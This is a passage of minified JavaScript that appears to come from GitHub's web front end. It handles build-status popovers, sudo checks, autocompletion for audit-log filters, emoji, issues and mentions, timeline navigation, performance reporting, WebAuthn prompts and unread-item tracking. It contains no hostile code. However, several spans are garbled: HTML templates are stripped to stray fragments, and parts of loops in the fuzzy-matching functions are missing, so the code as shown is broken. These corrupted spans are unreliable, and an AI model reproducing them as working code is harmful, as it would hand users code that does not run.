i(){t.removeAttribute("open"),n.classList.add("d-none"),t.appendChild(n),t.removeEventListener("toggle",o),window.removeEventListener("scroll",r)}s(i,"closeStatusPopover"),t.addEventListener("toggle",o),n.classList.contains("js-close-menu-on-scroll")&&window.addEventListener("scroll",r,{capture:!0}),n.classList.remove("d-none"),n.querySelector(".js-details-container").classList.add("open"),n.classList.contains("js-append-menu-to-body")&&(document.body.appendChild(n),vr(document.body,n,t))},{capture:!0});async function wr(e){const t=e.querySelector(".js-dropdown-details"),n=e.querySelector(".js-status-dropdown-menu")||e.closest(".js-status-dropdown-menu");if(!(n instanceof HTMLElement))return;const o=n.querySelector(".js-status-loader");if(!o)return;const r=n.querySelector(".js-status-loading"),i=n.querySelector(".js-status-error"),a=o.getAttribute("data-contents-url");r.classList.remove("d-none"),i.classList.add("d-none");let l;try{await(0,en.Z)(),l=await(0,pe.a)(document,a)}catch{r.classList.add("d-none"),i.classList.remove("d-none")}l&&(o.replaceWith(l),n.querySelector(".js-details-container").classList.add("open"),t&&n.classList.contains("js-append-menu-to-body")&&vr(document.body,n,t))}s(wr,"loadStatus"),(0,c.on)("click",".js-status-retry",({currentTarget:e})=>{wr(e)});function Er(e){const t=e.currentTarget;wr(t)}s(Er,"onMouseEnter"),(0,u.N7)(".js-build-status",{add(e){e.addEventListener("mouseenter",Er,{once:!0})},remove(e){e.removeEventListener("mouseenter",Er)}});var du=f(55898),rc=f(82841);(0,c.on)("click","button[data-sudo-required], summary[data-sudo-required]",Lr),(0,u.N7)("form[data-sudo-required]",{constructor:HTMLFormElement,subscribe:e=>(0,M.RB)(e,"submit",Lr)});async function Lr(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;e.stopPropagation(),e.preventDefault(),await(0,rc.Z)()&&(t.removeAttribute("data-sudo-required"),t instanceof HTMLFormElement?(0,L.Bt)(t):t.click())}s(Lr,"checkSudo");const jr={"actor:":"ul.js-user-suggestions","user:":"ul.js-user-suggestions","operation:":"ul.js-operation-suggestions","org:":"ul.js-org-suggestions","action:":"ul.js-action-suggestions","repo:":"ul.js-repo-suggestions","country:":"ul.js-country-suggestions"};(0,u.N7)("text-expander[data-audit-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",ic),(0,M.RB)(e,"text-expander-value",sc))});function sc(e){const t=e.detail;if(!Sr(t.key))return;const n=t.item.getAttribute("data-value");t.value=`${t.key}${n}`}s(sc,"onvalue");function ic(e){const{key:t,provide:n,text:o}=e.detail;if(!Sr(t))return;const i=e.target.getAttribute("data-audit-url");n(lc(i,t,o))}s(ic,"onchange");function ac(e,t){const n=t.toLowerCase(),o=s(r=>{const i=r.textContent.toLowerCase().trim(),a=(0,ge.EW)(i,n);return a>0?{score:a,text:i}:null},"key");return n?(0,Ge.W)(e,o,ge.qu):e}s(ac,"search");const cc=(0,qe.Z)(e=>[...e.children],{hash:e=>e.className});async function lc(e,t,n){const r=(await fc(e)).querySelector(uc(t));if(!r)return{matched:!1};const i=ac(cc(r),n).slice(0,5),a=r.cloneNode(!1);a.innerHTML="";for(const l of i)a.append(l);return{fragment:a,matched:i.length>0}}s(lc,"auditMenu");function Sr(e){return Object.getOwnPropertyNames(jr).includes(e)}s(Sr,"isActivationKey");function uc(e){const t=jr[e];if(!t)throw new Error(`Unknown audit log expander key: ${e}`);return t}s(uc,"audit_log_suggester_selector");async function dc(e){const t=await(0,pe.a)(document,e),n=document.createElement("div");return n.append(t),n}s(dc,"fetchMenu");const fc=(0,qe.Z)(dc);function mc(e){if(e.hasAttribute("data-use-colon-emoji"))return e.getAttribute("data-value");const t=e.firstElementChild;return t&&t.tagName==="G-EMOJI"&&!t.firstElementChild?t.textContent:e.getAttribute("data-value")}s(mc,"getValue");function hc(e,t){const n=` ${t.toLowerCase().replace(/_/g," ")}`,o=s(r=>{const i=r.getAttribute("data-emoji-name"),a=gc(pc(r),n);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(hc,"emoji_suggester_search");function pc(e){return` ${e.getAttribute("data-text").trim().toLowerCase().replace(/_/g," ")}`}s(pc,"emojiText");function gc(e,t){const n=e.indexOf(t);return n>-1?1e3-n:0}s(gc,"emojiScore"),(0,u.N7)("text-expander[data-emoji-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",yc),(0,M.RB)(e,"text-expander-value",bc))});function bc(e){const t=e.detail;t.key===":"&&(t.value=mc(t.item))}s(bc,"emoji_suggester_onvalue");function yc(e){const{key:t,provide:n,text:o}=e.detail;if(t!==":")return;const i=e.target.getAttribute("data-emoji-url");n(vc(i,o))}s(yc,"emoji_suggester_onchange");async function vc(e,t){const[n,o]=await Ec(e),r=hc(o,t).slice(0,5);n.innerHTML="";for(const i of r)n.append(i);return{fragment:n,matched:r.length>0}}s(vc,"emojiMenu");async function wc(e){const n=(await(0,pe.a)(document,e)).firstElementChild;return[n,[...n.children]]}s(wc,"fetchEmoji");const Ec=(0,qe.Z)(wc);var Pe=f(38772);function Lc(e){return`${e.number} ${e.title.trim().toLowerCase()}`}s(Lc,"asText");function jc(e,t){if(!t)return e;const n=new RegExp(`\\b${Sc(t)}`),o=/^\d+$/.test(t)?i=>Tc(i,n):i=>(0,ge.EW)(i,t),r=s(i=>{const a=Lc(i),l=o(a);return l>0?{score:l,text:a}:null},"key");return(0,Ge.W)(e,r,ge.qu)}s(jc,"issue_suggester_search");function Sc(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}s(Sc,"escapeRegExp");function Tc(e,t){const n=e.search(t);return n>-1?1e3-n:0}s(Tc,"issueNumberScore");function Ac(e,t,n){const o=s(i=>Pe.dy` +
      + ${i.map(r)} +
    + `,"itemsTemplate"),r=s(i=>{const a=i.type in n?(0,q.r)(document,n[i.type]):"";return Pe.dy` +
  • + ${a} + #${i.number} ${(0,Pe.Au)(i.title)} +
  • + `},"itemTemplate");(0,Pe.sY)(o(e),t)}s(Ac,"renderResults"),(0,u.N7)("text-expander[data-issue-url]",{subscribe:e=>{const t=[(0,M.RB)(e,"text-expander-change",kc),(0,M.RB)(e,"text-expander-value",Cc),(0,M.RB)(e,"keydown",Mc),(0,M.RB)(e,"click",xc)];return(0,M.qC)(...t)}});function Cc(e){const t=e.detail;if(t.key!=="#")return;const n=t.item.getAttribute("data-value");t.value=`#${n}`}s(Cc,"issue_suggester_onvalue");function kc(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="#")return;if(o==="#"){An(e.target);return}const i=e.target.getAttribute("data-issue-url");n(qc(i,o))}s(kc,"issue_suggester_onchange");function An(e){if(!e)return;const t=e.closest("text-expander");t&&t.dismiss()}s(An,"hideSuggestions");function xc(e){An(e.target)}s(xc,"issue_suggester_onclick");function Mc(e){const t=["ArrowRight","ArrowLeft"],{key:n}=e;t.indexOf(n)<0||An(e.target)}s(Mc,"issue_suggester_onkeydown");async function qc(e,t){const n=await Rc(e),o=document.createElement("div"),r=jc(n.suggestions,t).slice(0,5);return Ac(r,o,n.icons),{fragment:o.firstElementChild,matched:r.length>0}}s(qc,"issueMenu");const Rc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function _c(e){return e.description?`${e.name} ${e.description}`.trim().toLowerCase():`${e.login} ${e.name}`.trim().toLowerCase()}s(_c,"mention_suggester_asText");function Pc(e,t){if(!t)return e;const n=Dc(t),o=s(r=>{const i=_c(r),a=n(i,r.participant);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(Pc,"mention_suggester_search");function Ic(e,t){const n=s(r=>Pe.dy` +
      + ${r.map(o)} +
    + `,"itemsTemplate"),o=s(r=>{const i=r.type==="user"?r.login:r.name,a=r.type==="user"?r.name:r.description;return Pe.dy` +
  • + ${i} + ${a} +
  • + `},"itemTemplate");(0,Pe.sY)(n(e),t)}s(Ic,"mention_suggester_renderResults");function Dc(e){if(!e)return()=>2;const t=e.toLowerCase().split("");return(n,o)=>{if(!n)return 0;const r=Hc(n,t);if(!r)return 0;const a=e.length/r[1]/(r[0]/2+1);return o?a+1:a}}s(Dc,"fuzzyScorer");function Hc(e,t){let n,o,r,i;const a=Oc(e,t[0]);if(a.length===0)return null;if(t.length===1)return[a[0],1,[]];for(i=null,o=0,r=a.length;o-1;)o.push(n++);return o}s(Oc,"allIndexesOf");function Nc(e,t,n){let o=n;const r=[];for(let i=1;i(0,M.qC)((0,M.RB)(e,"text-expander-change",$c),(0,M.RB)(e,"text-expander-value",Bc))});function Bc(e){const t=e.detail;if(t.key!=="@")return;const n=t.item.getAttribute("data-value");t.value=`@${n}`}s(Bc,"mention_suggester_onvalue");function $c(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="@"||(o==null?void 0:o.split(" ").length)>1)return;const i=e.target.getAttribute("data-mention-url");n(Fc(i,o))}s($c,"mention_suggester_onchange");async function Fc(e,t){const n=await Uc(e),o=document.createElement("div"),r=Pc(n,t).slice(0,5);return Ic(r,o),{fragment:o.firstElementChild,matched:r.length>0}}s(Fc,"mentionMenu");const Uc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function Wc(e,t){const n=e.closest(".js-survey-question-form"),o=n.querySelector("input.js-survey-other-text"),r=t&&!n.classList.contains("is-other-selected");n.classList.toggle("is-other-selected",r),o.hidden=!t,r?(o.required=!0,o.focus()):o.required=!1,(0,c.f)(o,"change")}s(Wc,"handleOther"),(0,c.on)("change","input.js-survey-radio",function({currentTarget:e}){Wc(e,e.classList.contains("js-survey-radio-other"))}),(0,c.on)("change","input.js-survey-checkbox-enable-submit",function({currentTarget:e}){var t;const n=e.checked,o=(t=e.closest("form"))==null?void 0:t.querySelector("button[type=submit]");o.disabled=!n}),(0,c.on)("change","input.js-survey-contact-checkbox",function(e){const t=e.currentTarget,o=t.closest(".js-survey-question-form").querySelector(".js-survey-contact-checkbox-hidden");t.checked?o.setAttribute("disabled","true"):o.removeAttribute("disabled")}),(0,c.on)("details-menu-selected",".js-sync-select-menu-text",function(e){const t=document.querySelector(".js-sync-select-menu-button"),n=e.detail.relatedTarget.querySelector("span[data-menu-button-text]").textContent;t.textContent=n,t.focus()},{capture:!0}),(0,c.on)("click",'tab-container [role="tab"]',function(e){const{currentTarget:t}=e,o=t.closest("tab-container").querySelector(".js-filterable-field, [data-filter-placeholder-input]");if(o instanceof HTMLInputElement){const r=t.getAttribute("data-filter-placeholder");r&&o.setAttribute("placeholder",r),o.focus()}}),(0,c.on)("tab-container-changed","tab-container",function(e){const t=e.detail.relatedTarget,n=t.getAttribute("data-fragment-url"),o=t.querySelector("include-fragment");n&&o&&!o.hasAttribute("src")&&(o.src=n)});var fu=f(32222),Tr=f(96776);document.addEventListener("keydown",e=>{if(e.key!=="Escape"||e.target!==document.body)return;const t=document.querySelector(".js-targetable-element:target");!t||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)})}),document.addEventListener("click",e=>{const t=document.querySelector(".js-targetable-element:target");!t||e.target instanceof HTMLAnchorElement||e.target instanceof HTMLElement&&(t.contains(e.target)||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)}))});var mu=f(72669);async function zc(e){const t=e.currentTarget;if(Vc(t)){t.classList.remove("tooltipped");return}const n=t.getAttribute("data-url");if(!n)return;const o=await fetch(n,{headers:{Accept:"application/json"}});if(!o.ok)return;const r=await o.json(),i=t.getAttribute("data-id"),a=document.querySelectorAll(`.js-team-mention[data-id='${i}']`);for(const l of a)l.removeAttribute("data-url");try{r.total===0?r.members.push("This team has no members"):r.total>r.members.length&&r.members.push(`${r.total-r.members.length} more`),Ar(a,Kc(r.members))}catch(l){const y=l.response?l.response.status:500,w=t.getAttribute(y===404?"data-permission-text":"data-error-text");Ar(a,w)}}s(zc,"members");function Ar(e,t){for(const n of e)n instanceof HTMLElement&&(n.setAttribute("aria-label",t),n.classList.add("tooltipped","tooltipped-s","tooltipped-multiline"))}s(Ar,"tip");function Kc(e){if("ListFormat"in Intl)return new Intl.ListFormat().format(e);if(e.length===0)return"";if(e.length===1)return e[0];if(e.length===2)return e.join(" and ");{const t=e[e.length-1];return e.slice(0,-1).concat(`and ${t}`).join(", ")}}s(Kc,"sentence");function Vc(e){return!!e.getAttribute("data-hovercard-url")&&!!e.closest("[data-team-hovercards-enabled]")}s(Vc,"teamHovercardEnabled"),(0,u.N7)(".js-team-mention",function(e){e.addEventListener("mouseenter",zc)});function Xc(){const e=document.querySelector(".js-timeline-marker");return e!=null?e.getAttribute("data-last-modified"):null}s(Xc,"getTimelineLastModified");function Cr(e){if(Zc(e)||Gc(e))return;const t=Xc();t&&e.headers.set("X-Timeline-Last-Modified",t)}s(Cr,"addTimelineLastModifiedHeader");function Gc(e){return e.headers.get("X-PJAX")==="true"}s(Gc,"isPjax");function Zc(e){let t;try{t=new URL(e.url)}catch{return!0}return t.host!==window.location.host}s(Zc,"isCrossDomain"),(0,C.AC)(".js-needs-timeline-marker-header",function(e,t,n){Cr(n)}),(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){const{request:t}=e.detail;Cr(t)});const kr=5e3,Jc=".js-comment-body img",Qc=".js-comment-body video";(0,Xt.Z)(function(){St()}),(0,u.N7)(".js-timeline-progressive-focus-container",function(e){const t=Tt();if(!t||document.querySelector(".js-pull-discussion-timeline"))return;const o=document.getElementById(t);o&&e.contains(o)&&Cn(o)});function St(e=!0){const t=Tt();if(!t)return;const n=document.getElementById(t);if(n)Cn(n);else{if(Yc(t))return;const o=document.querySelector("#js-timeline-progressive-loader");o&&e&&qr(t,o)}}s(St,"focusOrLoadElement");function Yc(e){return el(e)||xr(e,".js-thread-hidden-comment-ids")||xr(e,".js-review-hidden-comment-ids")}s(Yc,"loadComments");function el(e){const t=Mr(e,".js-comment-container");return t?((0,Gt.$)(t),!0):!1}s(el,"loadResolvedComments");function xr(e,t){const n=Mr(e,t);return n?(n.addEventListener("page:loaded",function(){St()}),n.querySelector("button[type=submit]").click(),!0):!1}s(xr,"loadHiddenComments");function Mr(e,t){var n;const o=document.querySelectorAll(t);for(const r of o){const i=r.getAttribute("data-hidden-comment-ids");if(i){const a=i.split(","),l=(n=e.match(/\d+/g))==null?void 0:n[0];if(l&&a.includes(l))return r}}return null}s(Mr,"findCommentContainer"),(0,u.N7)(".js-inline-comments-container",function(e){const t=Tt();if(!t)return;const n=document.getElementById(t);n&&e.contains(n)&&Cn(n)}),(0,u.N7)("#js-discussions-timeline-anchor-loader",{constructor:HTMLElement,add:e=>{if(document.querySelector("#js-timeline-progressive-loader"))return;const n=Tt();if(!n)return;document.getElementById(n)||qr(n,e)}});async function tl(){const e=document.querySelectorAll(Qc),t=Array.from(e).map(n=>new Promise(o=>{if(n.readyState>=n.HAVE_METADATA)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("loadeddata",()=>{n.readyState>=n.HAVE_METADATA&&i()}),n.addEventListener("error",()=>i())}}));return Promise.all(t)}s(tl,"videosReady");async function nl(){const e=document.querySelectorAll(Jc),t=Array.from(e).map(n=>{new Promise(o=>{if(n.complete)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("load",()=>i()),n.addEventListener("error",()=>i())}})});return Promise.all(t)}s(nl,"imagesReady");async function ol(){return Promise.all([tl(),nl()])}s(ol,"mediaLoaded");async function Cn(e){await ol(),rl(e);const t=e.querySelector(`[href='#${e.id}']`);if(t){const n=t.getAttribute("data-turbo");t.setAttribute("data-turbo","false"),t.click(),n===null?t.removeAttribute("data-turbo"):t.setAttribute("data-turbo",n)}}s(Cn,"focusElement");async function qr(e,t){if(!t)return;const n=t.getAttribute("data-timeline-item-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search.slice(1));r.append("anchor",e),o.search=r.toString();let i;try{i=await(0,pe.a)(document,o.toString())}catch{return}const a=i.querySelector(".js-timeline-item");if(!a)return;const l=a.getAttribute("data-gid");if(!l)return;const y=document.querySelector(`.js-timeline-item[data-gid='${l}']`);if(y)y.replaceWith(a),St(!1);else{const w=document.getElementById("js-progressive-timeline-item-container");w&&w.replaceWith(i),St(!1)}}s(qr,"loadElement");function rl(e){const t=e.closest("details, .js-details-container");!t||(t.nodeName==="DETAILS"?t.setAttribute("open","open"):(0,Vt.jo)(t)||(0,Vt.Qp)(t))}s(rl,"expandDetailsIfPresent");function Tt(){return window.location.hash.slice(1)}s(Tt,"urlAnchor"),(0,u.N7)(".js-discussion",sl);function sl(){let e=new WeakSet;t(),document.addEventListener("pjax:end",t),document.addEventListener("turbo:load",t),(0,u.N7)(".js-timeline-item",n=>{n instanceof HTMLElement&&(e.has(n)||(0,h.N)(n))});function t(){e=new WeakSet(document.querySelectorAll(".js-timeline-item"))}s(t,"setExistingTimelineItems")}s(sl,"announceTimelineEvents");var Qe=f(82131);function Ye(e){const{name:t,value:n}=e,o={name:window.location.href};switch(t){case"CLS":o.cls=n;break;case"FCP":o.fcp=n;break;case"FID":o.fid=n;break;case"LCP":o.lcp=n;break;case"TTFB":o.ttfb=n;break}(0,he.b)({webVitalTimings:[o]}),il(t,n)}s(Ye,"sendVitals");function il(e,t){const n=document.querySelector("#staff-bar-web-vitals"),o=n==null?void 0:n.querySelector(`[data-metric=${e.toLowerCase()}]`);!o||(o.textContent=t.toPrecision(6))}s(il,"updateStaffBar");function al(){return!!(window.performance&&window.performance.timing&&window.performance.getEntriesByType)}s(al,"isTimingSuppported");async function cl(){if(!al())return;await me.C,await new Promise(n=>setTimeout(n));const e=window.performance.getEntriesByType("resource");e.length&&(0,he.b)({resourceTimings:e});const t=window.performance.getEntriesByType("navigation");t.length&&(0,he.b)({navigationTimings:t})}s(cl,"sendTimingResults"),cl(),(0,Qe.kz)(Ye),(0,Qe.Y)(Ye),(0,Qe.Tx)(Ye),(0,Qe.Tb)(Ye),(0,Qe.CA)(Ye),(0,c.on)("click",".js-toggler-container .js-toggler-target",function(e){if(e.button!==0)return;const t=e.currentTarget.closest(".js-toggler-container");t&&t.classList.toggle("on")}),(0,C.AC)(".js-toggler-container",async(e,t)=>{e.classList.remove("success","error"),e.classList.add("loading");try{await t.text(),e.classList.add("success")}catch{e.classList.add("error")}finally{e.classList.remove("loading")}}),async function(){var e;if("serviceWorker"in navigator){await me.x;const t=(e=document.querySelector('link[rel="service-worker-src"]'))==null?void 0:e.href;t?navigator.serviceWorker.register(t,{scope:"/"}):await ll()}}();async function ll(){let e=[];try{e=await navigator.serviceWorker.getRegistrations()}catch(t){if(t.name==="SecurityError")return}for(const t of e)t.unregister()}if(s(ll,"unregisterAllServiceWorkers"),(0,U.c)("TURBO")){const e={},t=s(S=>{var R;const I=S.querySelector("[data-turbo-head]")||S.head;return{title:(R=I.querySelector("title"))==null?void 0:R.textContent,scripts:[...S.querySelectorAll("script")],stylesheets:[...S.querySelectorAll("link[rel=stylesheet]")],transients:[...I.querySelectorAll("[data-pjax-transient]")]}},"getTurboCacheNode");(async()=>(await me.x,e[document.location.href]=t(document)))();let n,o=!1;document.addEventListener("turbo:visit",S=>{S instanceof CustomEvent&&(n=S.detail.url)}),document.addEventListener("turbo:before-fetch-response",async S=>{if(!(0,Wo.H)(S.target))return;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");r(I)}),document.addEventListener("turbo:frame-render",async S=>{o=!0;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");i(I),e[n]=t(I)}),document.addEventListener(Se.QE.SUCCESS,()=>{!o||(o=!1,a(),l(),y(),w(),document.dispatchEvent(new CustomEvent(Se.QE.FRAME_UPDATE)))});const r=s(S=>{var R;const I=(R=S.querySelector("meta[name=turbo-body-classes]"))==null?void 0:R.content;!I||document.body.setAttribute("class",I)},"replaceBodyClasses"),i=s(S=>{const R=S.querySelectorAll("[data-turbo-replace]"),I=[...document.querySelectorAll("[data-turbo-replace]")];for(const F of R){const X=I.find(oe=>oe.id===F.id);X&&X.replaceWith(F)}},"replaceElements"),a=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.title;R&&(document.title=R)},"replaceTitle"),l=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.transients;if(!!R){for(const I of document.querySelectorAll("head [data-pjax-transient]"))I.remove();for(const I of R)I.matches("title, script, link[rel=stylesheet]")||(I.setAttribute("data-pjax-transient",""),document.head.append(I))}},"replaceTransientTags"),y=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.stylesheets;if(!!R)for(const I of R)document.head.querySelector(`link[href="${I.getAttribute("href")}"], + link[data-href="${I.getAttribute("data-href")}"]`)||document.head.append(I)},"addNewStylesheets"),w=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.scripts;if(!!R)for(const I of R)document.head.querySelector(`script[src="${I.getAttribute("src")}"]`)||document.head.append(I)},"addNewScripts")}function ul(){if("Intl"in window)try{return new window.Intl.DateTimeFormat().resolvedOptions().timeZone}catch{}}s(ul,"timezone"),window.requestIdleCallback(()=>{const e=ul();e&&(0,Ve.d8)("tz",encodeURIComponent(e))});var J=f(90420),Rr=f(70112),dl=Object.defineProperty,fl=Object.getOwnPropertyDescriptor,re=s((e,t,n,o)=>{for(var r=o>1?void 0:o?fl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&dl(t,n,r),r},"__decorateClass"),ml=(e=>(e.Initializing="initializing",e.Unsupported="unsupported",e.Ready="ready",e.Waiting="waiting",e.Error="error",e.Submitting="submitting",e))(ml||{});let be=s(class extends HTMLElement{constructor(){super(...arguments);this.state="initializing",this.json="",this.autofocusWhenReady=!1,this.autoPrompt=!1,this.hasErrored=!1}connectedCallback(){this.originalButtonText=this.button.textContent,this.setState((0,Rr.Zh)()?"ready":"unsupported"),this.autoPrompt&&this.prompt(void 0,!0)}setState(e){this.button.textContent=this.hasErrored?this.button.getAttribute("data-retry-message"):this.originalButtonText,this.button.disabled=!1,this.button.hidden=!1;for(const t of this.messages)t.hidden=!0;switch(e){case"initializing":this.button.disabled=!0;break;case"unsupported":this.button.disabled=!0,this.unsupportedMessage.hidden=!1;break;case"ready":this.autofocusWhenReady&&this.button.focus();break;case"waiting":this.waitingMessage.hidden=!1,this.button.hidden=!0;break;case"error":this.errorMessage.hidden=!1;break;case"submitting":this.button.textContent="Verifying\u2026",this.button.disabled=!0;break;default:throw new Error("invalid state")}this.state=e}async prompt(e,t){e==null||e.preventDefault(),this.dispatchEvent(new CustomEvent("webauthn-get-prompt"));try{t||this.setState("waiting");const n=JSON.parse(this.json),o=await(0,Rr.U2)(n);this.setState("submitting");const r=this.closest(".js-webauthn-form"),i=r.querySelector(".js-webauthn-response");i.value=JSON.stringify(o),(0,L.Bt)(r)}catch(n){if(!t)throw this.hasErrored=!0,this.setState("error"),n}}},"WebauthnGetElement");re([J.fA],be.prototype,"button",2),re([J.GO],be.prototype,"messages",2),re([J.fA],be.prototype,"unsupportedMessage",2),re([J.fA],be.prototype,"waitingMessage",2),re([J.fA],be.prototype,"errorMessage",2),re([J.Lj],be.prototype,"json",2),re([J.Lj],be.prototype,"autofocusWhenReady",2),re([J.Lj],be.prototype,"autoPrompt",2),be=re([J.Ih],be);var hl=(e=>(e.Initializing="initializing",e.ShowingForm="showing-form",e.ShowingRevealer="showing-revealer",e))(hl||{});let We=s(class extends HTMLElement{constructor(){super(...arguments);this.state="showing-form"}connectedCallback(){this.setState(this.state)}setState(e){switch(this.revealer.hidden=!0,this.form.hidden=!1,e){case"initializing":break;case"showing-form":this.dispatchEvent(new CustomEvent("sudo-password-showing-form"));break;case"showing-revealer":this.revealer.hidden=!1,this.form.hidden=!0;break;default:throw new Error("invalid state")}this.state=e}reveal(){this.setState("showing-form")}},"SudoPasswordElement");re([J.Lj],We.prototype,"state",2),re([J.fA],We.prototype,"revealer",2),re([J.fA],We.prototype,"form",2),re([J.fA],We.prototype,"passwordField",2),We=re([J.Ih],We);let At=s(class extends HTMLElement{connectedCallback(){var e;(e=this.webauthnGet)==null||e.addEventListener("webauthn-get-prompt",()=>{this.sudoPassword.setState("showing-revealer")}),this.sudoPassword.addEventListener("sudo-password-showing-form",()=>{var t;(t=this.webauthnGet)==null||t.setState("ready"),this.sudoPassword.passwordField.focus()})}},"SudoAuthElement");re([J.fA],At.prototype,"webauthnGet",2),re([J.fA],At.prototype,"sudoPassword",2),At=re([J.Ih],At);let kn=0;function pl(){if(!document.hasFocus())return;const e=document.querySelector(".js-timeline-marker-form");e&&e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(pl,"markThreadAsRead");const Ct="IntersectionObserver"in window?new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&_r(t.target)},{root:null,rootMargin:"0px",threshold:1}):null;(0,u.N7)(".js-unread-item",{constructor:HTMLElement,add(e){kn++,Ct&&Ct.observe(e)},remove(e){kn--,Ct&&Ct.unobserve(e),kn===0&&pl()}});function _r(e){e.classList.remove("js-unread-item","unread-item")}s(_r,"clearUnread"),(0,u.N7)(".js-discussion[data-channel-target]",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const n=t.target,o=t.detail.data;if(n.getAttribute("data-channel-target")===o.gid)for(const r of document.querySelectorAll(".js-unread-item"))_r(r)})});let kt=0;const Pr=/^\(\d+\)\s+/;function Ir(){const e=kt?`(${kt}) `:"";document.title.match(Pr)?document.title=document.title.replace(Pr,e):document.title=`${e}${document.title}`}s(Ir,"updateTitle"),(0,u.N7)(".js-unread-item",{add(){kt++,Ir()},remove(){kt--,Ir()}}),(0,u.N7)(".js-socket-channel.js-updatable-content",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const{gid:n,wait:o}=t.detail.data,r=t.target,i=n?gl(r,n):r;i&&setTimeout(Me.x0,o||0,i)})});function gl(e,t){if(e.getAttribute("data-gid")===t)return e;for(const n of e.querySelectorAll("[data-url][data-gid]"))if(n.getAttribute("data-gid")===t)return n;return null}s(gl,"findByGid");async function bl(){if(!(!history.state||!history.state.staleRecords)){await me.x;for(const e in history.state.staleRecords)for(const t of document.querySelectorAll(`.js-updatable-content [data-url='${e}'], .js-updatable-content[data-url='${e}']`)){const n=history.state.staleRecords[e];t instanceof HTMLElement&&(0,Me.Of)(t,n,!0)}(0,E.lO)(null,"",location.href)}}s(bl,"reapplyPreviouslyUpdatedContent"),window.addEventListener("pagehide",Me.z8);try{bl()}catch{}(0,c.on)("upload:setup",".js-upload-avatar-image",function(e){const{form:t}=e.detail,n=e.currentTarget.getAttribute("data-alambic-organization"),o=e.currentTarget.getAttribute("data-alambic-owner-type"),r=e.currentTarget.getAttribute("data-alambic-owner-id");n&&t.append("organization_id",n),o&&t.append("owner_type",o),r&&t.append("owner_id",r)}),(0,c.on)("upload:complete",".js-upload-avatar-image",function(e){const{attachment:t}=e.detail,n=`/settings/avatars/${t.id}`;(0,Te.W)({content:(0,pe.a)(document,n),detailsClass:"upload-avatar-details"})}),(0,c.on)("dialog:remove",".upload-avatar-details",async function(e){const o=`/settings/avatars/${e.currentTarget.querySelector("#avatar-crop-form").getAttribute("data-alambic-avatar-id")}?op=destroy`,r=e.currentTarget.querySelector(".js-avatar-post-csrf").getAttribute("value"),i=new Request(o,{method:"POST",headers:{"Scoped-CSRF-Token":r,"X-Requested-With":"XMLHttpRequest"}});await self.fetch(i)});function xt(){if(document.querySelector(":target"))return;const e=(0,Tn.$z)(location.hash).toLowerCase(),t=(0,Tn.Q)(document,`user-content-${e}`);t&&(0,nn.zT)(t)}s(xt,"hashchange"),window.addEventListener("hashchange",xt),document.addEventListener("pjax:success",xt),async function(){await me.x,xt()}(),(0,c.on)("click","a[href]",function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&t.href===location.href&&location.hash.length>1&&setTimeout(function(){e.defaultPrevented||xt()})});var hu=f(95128);async function yl(e){const t=e.currentTarget,{init:n}=await f.e("app_assets_modules_github_user-status-submit_ts").then(f.bind(f,35145));n(t)}s(yl,"user_status_loader_load"),(0,u.N7)(".js-user-status-container",{subscribe:e=>(0,M.RB)(e,"click",yl,{once:!0})});var Mt=f(55741);function vl(e,t){const n=e.querySelector(".js-user-list-base");n&&(n.textContent=t||n.getAttribute("data-generic-message"),n.hidden=!1)}s(vl,"setFlashError");function Dr(e,t){const o=(t||e).querySelectorAll(".js-user-list-error");for(const a of o)a.hidden=!0;const r=t?[t]:e.querySelectorAll(".errored.js-user-list-input-container");for(const a of r)a.classList.remove("errored");const i=e.querySelector(".js-user-list-base");i&&(i.hidden=!0)}s(Dr,"resetValidation"),(0,C.AC)(".js-user-list-form",async function(e,t){var n;Dr(e);const o=e.querySelector("[data-submitting-message]"),r=o==null?void 0:o.textContent;o&&(o.textContent=o.getAttribute("data-submitting-message"),o.disabled=!0);for(const i of e.querySelectorAll(".js-user-list-input"))i.disabled=!0;try{const i=await t.html();(0,c.f)(e,"user-list-form:success",i.html)}catch(i){if(((n=i.response)==null?void 0:n.status)===422)e.replaceWith(i.response.html);else{vl(e),o&&(r&&(o.textContent=r),o.disabled=!1);for(const a of e.querySelectorAll(".js-user-list-input"))a.disabled=!1}}}),(0,c.on)("user-list-form:success",".js-follow-list",e=>{const t=e.detail,n=t instanceof 